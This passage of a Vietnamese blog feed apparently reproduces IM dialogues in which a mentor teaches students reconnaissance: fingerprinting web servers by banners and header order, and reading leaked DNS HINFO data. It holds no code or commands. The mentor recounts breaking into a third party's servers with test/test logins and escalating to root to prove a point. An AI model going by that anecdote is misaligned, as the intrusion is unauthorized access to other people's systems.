thể táy máy đến mấy các dll của inetsrv của Windows để đổi banner nhưng chắc sẽ mất thời gian. Hơn nữa, đã dấu thì dấu cho trót, phải đổi hết trọn bộ error pages của IIS không thì banner một nơi mà error pages một nẻo."&lt;br /&gt;&lt;br /&gt;'haothu' thắc mắc:&lt;br /&gt;"Anh vừa nói chuyện thay đổi tcp/ip stack để che dấu 'footprint', em thấy cái này lạ ghê. Anh nói rõ hơn một tí được không anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Ừa, đó cũng là một trong những lý do anh đề nghị bọn em đọc kỹ về tcp/ip lần trước để dễ hình dung hơn đó nhưng mấy anh em mình sa đà ở mức banner nên chưa đề cập đến level này. Chắc chắn mình sẽ đụng đến khoảng đó thôi. Em an tâm."&lt;br /&gt;&lt;br /&gt;Tôi tiếp tục phần đang khai triển ở trên:&lt;br /&gt;"OK, nếu mình biết 'thằng' thứ nhất ở trên là giả mạo, làm sao mình xác định được danh tánh thật sự của nó là gì?"&lt;br /&gt;&lt;br /&gt;Bộ bốn lại im lặng. Sau vài phút, 'docco' lên tiếng:&lt;br /&gt;"Ái chà, cái này mới vui á. Em mghĩ chẳng dễ tí nào."&lt;br /&gt;&lt;br /&gt;'haothu' nhận định:&lt;br /&gt;"Em nghĩ chắc phải dùng phương pháp so sánh như kiểu mình so sánh với một IIS server như hồi nãy thôi anh. Anh thấy chuyện này khả thi không?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Khả thi chớ sao không em? Em nên nhớ rằng, bước thăm dò bằng tay tuy chậm nhưng nó luôn luôn cho em kết quả xác thực hơn bước thăm dò tự động bằng công cụ nào đó. Vậy, để so sánh thì mình cần có cái gì?"&lt;br /&gt;&lt;br /&gt;'haothu' trả lời:&lt;br /&gt;"Nhất định là mình phải có các bản mẫu 'xịn' rồi cứ dùng cái mình đang thăm dò mà so sánh với bản 'xịn' là xong."&lt;br /&gt;&lt;br /&gt;Tôi khơi mào:&lt;br /&gt;"Vậy mình cần phải thu thập hết các bản mẫu 'xịn' :). Cái này còn gọi là 'footprint database'. Tùy mỗi người có cách lưu trữ và so sánh nhưng điểm cốt lõi là: dù có 'rà' bằng tay hay 'rà' tự động, em phải có một số thông tin mẫu nào đó để làm chuẩn. Nếu không, em không thể so sánh cái mình thấy (từ việc thăm dò) với một cái gì khác cả."&lt;br /&gt;&lt;br /&gt;'haothu' hỏi tiếp:&lt;br /&gt;"Vậy mình phải 'thăm dò' hết các loại web server để lấy 'footprint' thứ thiệt để dành hay sao anh? Cực quá vậy? Có database nào có sẵn mấy cái này không anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Anh nghĩ là có nhưng chưa thấy phổ biến ở bên ngoài như một database bình thường mà nó thuộc một công cụ thăm dò ở dạng mình đang bàn. Bởi vậy, ngay từ đầu anh đã nói: muốn thâm nhập một cách đúng nghĩa, em phải rất kiên nhẫn, phải có căn cơ và phải hiểu mục tiêu của mình là vậy đó."&lt;br /&gt;&lt;br /&gt;Tôi nói tiếp:&lt;br /&gt;"Ở đây anh muốn nói đến phương hướng tiếp cận vấn đề chớ không phải cách giải quyết cụ thể cho từng trường hợp, từng khúc mắc. Hướng tiếp cận ở đây là: tìm và thu thập các 'footprint' của các web server để làm tư liệu cho việc so sánh về sau. Còn chuyện giải quyết thế nào thì mình đã bàn qua phần nguyên tắc. Anh chỉ 'khơi mào' cho em để khởi động còn muốn chạy xa, chạy nhanh thì tuỳ ở em :).&lt;br /&gt;&lt;br /&gt;Với hai ví dụ trên, anh còn muốn nhắc đến một điểm khác rất quan trọng. Bọn em thử copy và paste chúng vào hai cột cạnh nhau để dễ so sánh, dùng soft nào cũng được, cách nào cũng được, miễn sao có thể đặt chúng bên cạnh nhau để so sánh. Chắc chắn em sẽ tìm ra thêm điểm khác nhau nữa."&lt;br /&gt;&lt;br /&gt;Vài phút trôi qua, 'ccxx' lại lên tiếng trước tiên:&lt;br /&gt;"Em thấy rồi. Vị trí thứ tự của các HTTP header khác nhau phải không anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Chính xác. Chúng khác nhau đó. Trước đây anh cũng thắc mắc chuyện này nhưng sau khi xem mấy các RFC cho HTTP thì mới thấy là chẳng có áp đặt cụ thể nào về thứ tự trình bày của các HTTP header cả. Bởi thế, mỗi nơi implement mỗi khác và đây là một điểm đặc thù giúp mình phân tích và phân biệt 'footprint' nữa."&lt;br /&gt;&lt;br /&gt;'cuti' thắc mắc:&lt;br /&gt;"Sao anh biết được những chi tiết tinh vi và khó thấy như thế vậy anh? Có tài liệu nào đó hướng dẫn mấy chuyện này không anh?"&lt;br /&gt;&lt;br /&gt;'docco' cũng lên tiếng:&lt;br /&gt;"Dạ, em cũng thắc mắc như thằng Duy vậy. Em chưa hề thấy ở đâu nói đến những chi tiết lý thú như thế này về chuyện nhận diện 'footprint'."&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Có thể có những tài liệu phân tích những chuyện này. Anh không chắc vì anh chưa hề đọc được cái nào cả. Để trả lời thắc mắc của 'cuti', anh vô tình tìm ra những khác biệt đó trong khi 'táy máy' và test một web application viết bằng java. Application này được deploy trên cả Windows lẫn Unix nhưng có web-tier khác nhau. Trên Windows thì dùng IIS và trên *nix thì dùng Apache và iPlanet (của Sun). Anh phải bắt lấy hết các header của từng loại web server để tạo bộ luật mapping cho cái reverse proxy nên mới thấy được những cái khác nhau kia. Kinh nghiệm xương máu đó! :)"&lt;br /&gt;&lt;br /&gt;'haothu' rên rỉ:&lt;br /&gt;"Ôi trời, anh 'Việt-hóa' đoạn trên dùm em được không anh? cái gì mà 'web-tier', rồi đến 'deploy', 'mapping', rồi 'reverse proxy'... Em đọc thấy muốn... tẩu hoả luôn :("&lt;br /&gt;&lt;br /&gt;Tôi cười, đáp:&lt;br /&gt;"Ái chà... anh cũng chẳng biết phải dịch ra sao nữa. Nếu em có đụng chạm đến các ứng dụng web hạng... nặng thì hẳn sẽ biết được khái niệm 'mutlti-tier' application. Cái này có nghĩa là một ứng dụng có nhiều tầng như: tầng web, tầng logic, tầng dữ liệu (database). Còn chữ 'deploy' thì có nghĩa đại loại như cài đặt, thiết lập một chương trình mới trên một máy chủ. 'deploy' mang nghĩa rộng hơn 'install' (là cài đặt). Riêng 'mapping' thì anh không biết phải dịch ra sao. Nó có nghĩa nhưng là so sánh, biên dịch 2 phía thông tin. Ví dụ, phía A có thông tin là 1 có thể được 'map' thành Z ở phía B chẳng hạn. Chữ 'reverse proxy' có nghĩa là 'proxy ngược'. Người dùng trong LAN muốn truy cập Internet thì đi xuyên qua 'forward proxy', còn người dùng từ Internet muốn vào web server của em thì đi qua 'reverse proxy'. Những khái niệm này khá dễ hiểu, em chịu khó tham khảo thêm trên net."&lt;br /&gt;&lt;br /&gt;'cuti' nhận xét:&lt;br /&gt;"Ra vậy. Có quá nhiều kiến thức đi ra từ kinh nghiệm bản thân, trong môi trường làm việc thật sự chớ chẳng phải cái gì cũng có trong sách."&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Đúng thế. Anh đã có lần đề cập trước đây, sách là nguồn thông tin tổng quát. Nó giúp em hình thành một cái 'sườn' của vấn đề. Tùy vào em mà hình thành cái 'ruột'. Những điều mấy anh em mình 'đà khía' ở đây có rất nhiều điều đi từ 'kinh nghiệm xương máu' mà có. Anh biết có những cái lạ lẫm, khó hình dung bởi vì em chưa gặp qua. Tuy nhiên, đến một lúc em đụng phải điều gì đó mình đã bàn ở đây thì tự nhiên sự việc sẽ sáng tỏ, dễ dàng thôi."&lt;br /&gt;&lt;br /&gt;'cuti' thắc mắc:&lt;br /&gt;"Vậy anh muốn bọn em đi thu thập mấy cái header 'xịn' để làm tư liệu hả anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Tùy em thôi. Nếu em thấy thích thú chuyện này thì em có thể dành thời gian để đào xới chúng. Anh dám chắc em sẽ thu thập được nhiều điều lý thú. Tuy nhiên, điểm cốt lõi anh muốn bọn em ghi nhận ở đây là điểm khác cơ. Em có biết đó là gì không?"&lt;br /&gt;&lt;br /&gt;'cuti' đáp:&lt;br /&gt;"Điểm gì cà? Ái chà, căng à nha."&lt;br /&gt;&lt;br /&gt;'haothu' lên tiếng:&lt;br /&gt;"Anh mổ xẻ chuyện 'footprint' với bọn em rồi để cho bọn em tùy chọn muốn đào thêm hay dừng lại mà không tỏ vẻ quan trọng chuyện này. Vậy chuyện gì quan trọng nhỉ?"&lt;br /&gt;&lt;br /&gt;'docco' lên tiếng:&lt;br /&gt;"Em nghĩ là em đoán được. Ý anh là muốn giới thiệu đường hướng và lối khai triển một cách logic phải không ạ?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Anh không nói là những chuyện mình vừa bàn không quan trọng. Anh chỉ nói rằng tùy người, tùy nhu cầu mà nó quan trọng nhiều hay ít. 'docco' nói đúng đó, nhưng còn gì nữa?"&lt;br /&gt;&lt;br /&gt;'ccxx' cũng tham gia:&lt;br /&gt;"Không biết em nghĩ có đúng không nhưng xem lại mạch chuyện từ nãy giờ, em thấy một điểm khá quan trọng là ngoài tính logic còn có tính tập trung và sự tinh tế trong khi nhận xét vấn đề. Phải không anh?"&lt;br /&gt;&lt;br /&gt;Hết sức hoan hỉ, tôi đáp:&lt;br /&gt;"Voila! chính xác. Logic tối cần thiết nhưng tính tập trung và sự tinh tế không thể thiếu được. Sau này, khi em đi đến chỗ viết shellcode, dò stack mà lại thiếu sự tinh tế thì sẽ không thể đạt kết quả được. Đối với 'hacker', mỗi chi tiết bé nhỏ đều có thể mang một giá trị lớn lao. Chúng có thể làm em mất ăn, mất ngủ, mất thời gian để rồi, đến lúc nào đó em sẽ vò đầu và tự rủa mình vì đã 'sót' chúng trong khi phân tích. Thật ra, logic + tập trung + tinh tế là ba đức tính cần thiết không riêng gì trong bảo mật mà nó cần thiết trong các ngành khoa học."&lt;br /&gt;&lt;br /&gt;'docco' nói:&lt;br /&gt;"Em sẵn sàng tiếp nhận quan điểm này. Đừng nói đi đâu xa, những lúc làm bài tập hoặc viết một đoạn code đơn giản mà thiếu tập trung thì có chuyện ngay. Đặc biệt là lúc bị 'có chuyện' mà thiếu tinh tế thì tìm lỗi muốn... khùng luôn."&lt;br /&gt;&lt;br /&gt;Tôi muốn kết thúc buổi 'đà khía' nên rút ngắn:&lt;br /&gt;"Thôi, mấy anh em mình ngồi dính một chỗ đã quá lâu. Có lẽ lần sau mình mới đi vào chi tiết OS 'footprint' trên tcp/ip vì mình bị... 'cháy' kế hoạch rồi. Điều này cũng tốt vì bọn em có thêm thời gian để xem kỹ hơn về tcp/ip. Mấy đứa cũng nên đọc lại nội dung 'đà khía' lần này và ráng đúc kết vấn đề để làm nền cho lần tới."&lt;br /&gt;&lt;br /&gt;'docco' đáp:&lt;br /&gt;"Dạ, vậy cũng tốt mà anh. Em vẫn còn lủng củng nhiều điểm trên tcp/ip nên hoãn lại thêm một tí thì tiện hơn."&lt;br /&gt;&lt;br /&gt;'ccxx' nhấm nhẳng:&lt;br /&gt;"Em còn muốn cãi với ông Khoa về chuyện 'kiddie' dùng công cụ khó hay dễ vậy mà anh phải đi rồi. Thôi vậy, để em về chuẩn bị thêm để 'đấu' với ổng một trận. Anh làm trọng tài cho tụi em nha?"&lt;br /&gt;&lt;br /&gt;Tôi cười, đáp:&lt;br /&gt;"Ừa, miễn sao 'đấu' để đem lại một kết quả nào đó ích lợi thì anh làm trọng tài liền."&lt;br /&gt;&lt;br /&gt;'cuti' phát biểu:&lt;br /&gt;"Em rút kinh nghiệm những lần trước, lần này em sẽ in ra nội dung 'đà khía' để đọc lại và suy gẫm kỹ hơn. Em bị cảm giác là càng ngày càng bị tụt đằng sau."&lt;br /&gt;&lt;br /&gt;'docco' đáp:&lt;br /&gt;"Thì tui làm như vậy từ lâu rồi ông Hưng. Chẳng những thế, tập bài tui in ra bây giờ chằng chịt với những dòng gạch dưới, đóng khung, tự chú thích.... tá lã luôn. Không thì không nhớ xuể đâu á."&lt;br /&gt;&lt;br /&gt;Tôi trả lời:&lt;br /&gt;"Tùy mỗi đứa, tùy cách phân tích và chọn lọc thông tin cho mình thôi. Miễn sao rút tỉa được vài điều là tốt rồi. Nếu không hiểu thì sẽ thấy nặng nề và nếu kéo dài ở tình trạng 'không hiểu' này thì sẽ thì thấy... chán. Cái đó mới là hoài của nói theo lối nói người miền Bắc :). Thôi, anh phải đi. Hẹn mấy đứa tuần sau nếu rảnh."&lt;br /&gt;&lt;br /&gt;và tôi logoff..&lt;br /&gt;&lt;br /&gt;18/11/2005&lt;br /&gt;&lt;còn p=""&gt;&lt;br /&gt;&lt;/còn&gt;&lt;/span&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những cuộc đối thoại với rookie-10</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-cuoc-oi-thoai-voi-rookie-10.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:10:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-8775538678960732740</guid><description>&lt;title&gt;Rookie10&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link style="font-weight: bold; font-family: arial;" href="./Rookie10_files/filelist.xml" rel="File-List"&gt; &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:blue; 	text-decoration:underline; 	text-underline:single;} p 	{margin-right:0cm; 	mso-margin-top-alt:auto; 	mso-margin-bottom-alt:auto; 	margin-left:0cm; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} pre 	{margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; 	font-size:10.0pt; 	font-family:"Courier New"; 	mso-fareast-font-family:"Courier New";} span.maintitle 	{mso-style-name:maintitle;} span.mainmenu 	{mso-style-name:mainmenu;} span.topmenu 	{mso-style-name:topmenu;} span.forumtitle 	{mso-style-name:forumtitle;} span.nav 	{mso-style-name:nav;} span.moderator 	{mso-style-name:moderator;} span.uprofile 	{mso-style-name:uprofile;} span.online 	{mso-style-name:online;} span.postbody 	{mso-style-name:postbody;} span.quotetxt 	{mso-style-name:quotetxt;} span.smltxt 	{mso-style-name:smltxt;} span.gensmall 	{mso-style-name:gensmall;} span.gen 	{mso-style-name:gen;} span.copyright 	{mso-style-name:copyright;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div style="font-weight: bold; font-family: arial;" class="Section1"&gt; &lt;p class="MsoNormal"&gt;&lt;span class="postbody"&gt;13. Information... What for? - II  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Chiều nay như đã hẹn, tôi log vào YIM.  Mấy 'khuôn mặt' YIM của cuti, ccxx, haothu và docco đều "trắng bệch". Tôi thầm  nghĩ, "chà, mấy trự này vẫn chưa lên hay có trục trặc gì rồi". Tôi quyết định  gởi cùng một offline message cho cả bốn 'trự' để khi nào có ai lên thì cho tôi  biết. Chỉ trong vài giây tôi nghe bốn tiếng "Knock, knock", "Knock, knock" và  hai khuôn mặt "vàng choé" của docco và ccxx online. 'docco' chào trước:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chào anh, anh lên lâu chưa vậy?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' chào tiếp theo:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ý chà, anh đúng giờ khủng khiếp luôn á. Em  chuyển chế độ 'invisible' để khỏi phiền chớ em lên đây từ trưa á."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Lần này tôi gởi 'conference invitation'  kèm theo câu trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, anh 'hên' nên  đúng giờ thôi em. Anh đâu biết khi nào mấy đứa lên đâu à. Còn cuti với haothu  đâu rồi?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' nhanh nhảu:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ em cũng không biết nữa anh. Em gọi di động  cho ông Hưng mà chẳng thấy trả lời. Còn ông Khoa thì em chẳng thấy tung tích từ  hôm qua đến giờ." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' tiếp lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, hồi sáng em có gặp Hưng mà. Nó nói thế nào  nó cũng lên. Còn thằng Khoa thì chẳng biết nó ở đâu mà mò nữa anh."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, khi nào tụi nó thấy tiện thì lên thôi. Anh em mình đà khía  lai rai cũng được. Hay em muốn chờ tụi nó lên luôn?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ mình  'làm' lai rai đi anh. Chừng nào tụi nó lên thì nhập cuộc luôn cũng được."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' cũng hùa theo:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng đó. Mấy ông đó chẳng biết đâu mà chờ anh  ơi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Xong ngay. Vậy mình tiếp tục câu chuyện lần trước hả? hay mấy  đứa thích nói chuyện gì khác hông?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' trả lời ngay:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ  tiếp tục chuyện lần trước đi anh. Chuyện này 'đã' hơn những chuyện tầm phào khác  :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nhào ngay vô liền hả? OK. Lần trước mình đang nói đến chuyện tìm  'footprint' phải hông? Anh muốn đề cập thêm một chi tiết nhỏ trong việc query  DNS khá quan trọng. Hầu hết các DNS server trên Internet hiện nay dùng BIND,  chạy trên UNIX. Những DNS server không thiết kế và điều chỉnh cẩn thận thường có  các giá trị HINFO (Host Information) chứa những thông tin khá cụ thể về vị trị  của host này, hệ điều hành đang chạy trên host này... những thông tin đó hết sức  quan trọng cho việc 'thăm dò'. Anh đề cập đến chuyện này vì muốn nhấn mạnh sự  quan trọng của việc thiết kế hệ thống trên phương diện bảo mật; tránh để lộ  những thông tin nhạy cảm và không cần thiết trên các hệ thống tiếp diện với  'untrused networks'." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' hỏi  ngay:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Phải 'untrusted networks" là Internet  hông anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, Internet là một trong những 'untrusted network'. Ngay cả  mạng riêng của công ty vẫn có những phần thuộc dạng 'untrusted' nếu như các  thông tin nhạy cảm đi xuyên qua hoặc mở rộng trong các phần này. Nói chung,  'untrusted networks' là những mạng em không thể kiểm soát được."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' thắc mắc:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Như anh nói ở trên, vậy HINFO chứa những thông tin nào mà nguy  hiểm như vậy anh? Thật tình em chưa bao giờ thấy thông tin này."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' chêm vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ em cũng thắc mắc điểm này luôn đó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, em phải đụng  đến nó thì mới biết :). HINFO là một 'query type' khi em query DNS, tương tự như  A, MX, NS, CNAME, SOA... mấy cái này em nên tham khảo chi tiết sau vì nó dính  khá nhiều thứ trong đó. Mình tập trung vào HINFO ở đây để em nắm chi tiết quan  trọng này thôi. Tổng quát mà nói thì HINFO chứa giá trị (và sẽ trả về giá trị  nếu mình query nó) ở dạng như: &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"sparc20" "lp  &amp;amp; fax comm room" chẳng hạn. Nó thường chứa các thông tin khá chi tiết để  sysadmin dễ nhận diện host này là host gì trong mạng. Nó tiện dụng cho sysadmin  nhưng lại khá nguy hiểm trên phương diện bảo mật. Bọn em đoán thử với giá trị  trong ngoặc kép, nó nguy hiểm ở đâu?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' và 'ccxx' im lặng một đỗi. 'docco' lên tiếng  trước:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ em đoán nó chỉ cho kẻ thăm dò  biết server đó loại gì và vị trí server đó ở đâu . Nhưng.... vị trí 'comm room'  cũng đâu giúp được gì đâu anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx'  nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hình như sparc20 là một loại  server của công ty Sun phải hông anh? Em chưa thấy nó bao giờ nhưng em có nghe  đến. Nếu mình biết được loại máy chắc mình có thể đoán được hệ điều hành nào  đang chạy trên nó?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cả hai đứa đoán đúng hết nhưng mỗi đứa chỉ đúng  1/3 thôi :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' bẽn lẽn:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Sao anh? em chỉ đoán bừa thôi mà :)"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, thì em đoán ra vị trí + loại server, cái này cho 1/3 thông  tin. Cô bé Như đoán được 'có thể lấy hệ điều hành' nếu biết loại máy được thêm  1/3 nữa. 1/3 còn lại cho thấy chức năng chính của máy chủ này cung cấp dịch vụ  in và fax. Bấy nhiêu thông tin cũng đủ giúp cho kẻ thăm dò hình thành ít nhiều  kế hoạch. Ví dụ, Solaris thường bị những điểm yếu nào? nếu máy chủ này cung cấp  dịch vụ in (lp) và fax thì nó thường bị lỗ hổng ở chỗ nào? Nếu nó nằm trong  'comm room', liệu từ máy này có thể truy cập đến các máy chủ khác cũng trong  'comm room' hay không? và hàng loạt các câu hỏi khác. Độ nguy hiểm càng tăng khi  kẻ đang thăm dò có nhiều kinh nghiệm." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' thắc mắc:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Công  nhận anh phân tích ra thì thấy lý thú nhưng em vẫn chưa hình dung được độ nguy  hiểm ở chỗ nào hết anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, chậm  rãi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh cũng hiểu được tại sao em chưa  hình dung ra sự nguy hiểm. Thế này, để anh kể cho nghe một mẩu chuyện ngắn, hy  vọng em sẽ hiểu. Cách đây vài năm, khi anh còn làm ở một công ty khác, anh phát  hiện mail server của cty anh bị spam quá nhiều. Sau khi truy ra nguồn mail được  gởi đi và tổng kết số lượng mail nhận được, anh nghi rằng mail server đó bị open  relay. Anh bắt tay vào kiểm tra mail server ấy thì thấy quả thật nó open relay.  Anh quyết định gởi thông báo cho tay sysadmin của mail server dùng làm phương  tiện để spam mail server của cty anh. Tay này năm lần, bảy lượt cố làm ngơ. Rốt  cuộc hắn trả lời anh là mail server của hắn không bị cái gì hết, anh thử chứng  minh xem để hắn thấy. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Anh bèn mở cuộc thăm  dò thì thấy mạng này khá lớn, có rất nhiều servers. Các servers đều dùng static  IP và chỉ có một border router cho cả nội mạng. Tất nhiên là anh chứng minh cho  hắn thấy mail server của hắn bị 'open relay'. Trong quá trình thăm dò, qua  phương tiện query DNS, anh tìm thấy có rất nhiều servers trong nội mạng này có  tên ở dạng test, ví dụ như testbed, teststage,  testserver. Chỉ cần nháy mắt, anh log vào một trong những server này với  account test/test một cách dễ dàng. Từ server thứ nhất, anh có thể đi vào các  server còn lại bằng những phương tiện truy nhập thông thường. Anh còn thấy vô số  lỗi cho phép leo thang từ user test thành root một cách không mấy khó khăn. Chỉ  trong khoảng thời gian ngắn, anh gần như làm chủ mạng đó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Wow...  cool thiệt đó nha. Làm dễ như vậy sao anh? Sau đó anh làm gì nữa?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có gì mà 'cool' em. Đây chỉ là lối thâm nhập do hệ thống bảo mật  quá kém. sysadmin không có kiến thức về bảo mật hoặc quá lười biếng mà thôi. Sau  đó anh chẳng làm gì hết. Anh dò dẫm qua một vòng và khám phá ra anh không phải  là người đầu tiên dò dẫm trong hệ thống này mà đã có vài người khác nữa. Anh bèn  tạo một số files trên vài servers rồi gởi mail (từ một trong những server trong  mạng ấy) đến tay sysadmin để cảnh báo hắn. Một tuần sau anh thử quay lại thì hệ  thống này đã được thắt chặt. Vậy, hai đứa rút ra được gì từ câu chuyện trên?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cười, trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, hình như anh đổi rơ hay sao đó. Mấy bữa  trước anh cho tụi em hỏi thoải mái, hôm nay em thấy anh hỏi tụi em không à. Phần  em thì em thấy có mấy chi tiết anh nhấn mạnh ở điểm test. Nếu không có  các chi tiết này chắc anh không máy mó thêm phải không anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' cũng xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hi hi... em thấy cái vụ 'test/test' này đúng là hay tỉ luôn đó.  Em có đi làm thêm ở một công ty và thấy cái gì cũng 'test/test'. Bây giờ anh kể  chuyện này, hoá ra ở đâu cũng có thói quen này." &lt;/span&gt;
&lt;br /&gt;
